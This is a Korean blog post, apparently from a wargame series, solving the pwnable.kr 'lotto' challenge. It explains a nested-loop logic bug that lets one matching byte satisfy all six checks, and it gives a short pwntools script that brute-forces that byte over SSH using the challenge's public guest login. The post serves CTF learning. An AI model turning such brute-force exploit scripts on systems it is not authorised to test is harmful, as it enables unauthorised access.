ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lotto Write-up
    표튜터와 함께하는 Pwnable/Pwnable.kr Write-up 2019.04.03 18:36

    이번 문제는 Lotto이다!!

    이번 문제를 푸는 열쇠는 바로 Logic Bug를 찾아내는 것이다.

    lotto buffer가 랜덤값으로 바뀌기 때문에

    Brute force 공격을 이용해야했다.




    우선 코드를 보도록 하자!!


     < main 함수 >




    < play 함수와 help 함수 >

    이 문제의 열쇠는 빨간 산자의 play함수 내의 이중 for문이다.

    취약점이라기 보다는 logic bug이다.


    match라는 변수의 값이 6이되면 FLAG를 볼 수 있게되는데

    랜덤 값인 lotto와 우리가 입력할 수 있는 submit를 비교해서

    같으면 match값이 증가한다. 하지만 이 부분의 logic bug는

    다음과 같다. 언뜻 보기에는 배열(1Byte) 하나씩 값이 같은지

    비교하는 것 같지만 사실은 하나만 같아도 match를 6으로 만들 수 있다.



    < 예시 >

    예를 들어 lotto 버퍼가 "abcdef"일 때

    submit 버퍼가 "aaaaaa"라면 코드 logic 상

    하나만 맞더라도 6번 비교하면서 match가 6이된다. 


    그러므로 첫 Byte만 Brute Force하는 Payload를 구성했다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
     
    = ssh("lotto","pwnable.kr",port=2222,password="guest")
     
    for i in range (145):
        p = s.process("./lotto")
        p.recvuntil("3. Exit")
        p.sendline(str(1))
        p.recvuntil("Submit your 6 lotto bytes : ")
        payload = chr(i)*6
        p.send(payload)
        p.interactive()
     
    cs



    Payload를 진행하니 FLAG를 볼 수 있었다.~

    '표튜터와 함께하는 Pwnable > Pwnable.kr Write-up' 카테고리의 다른 글

    Black Jack Write-up  (0) 2019.04.15
    Cmd1 Write-up  (0) 2019.04.04
    Lotto Write-up  (0) 2019.04.03
    Leg Write-up  (0) 2019.04.02
    Shellshock Write-up  (0) 2019.04.01
    Mistake Write-up  (0) 2019.04.01

    댓글 0

Designed by Tistory.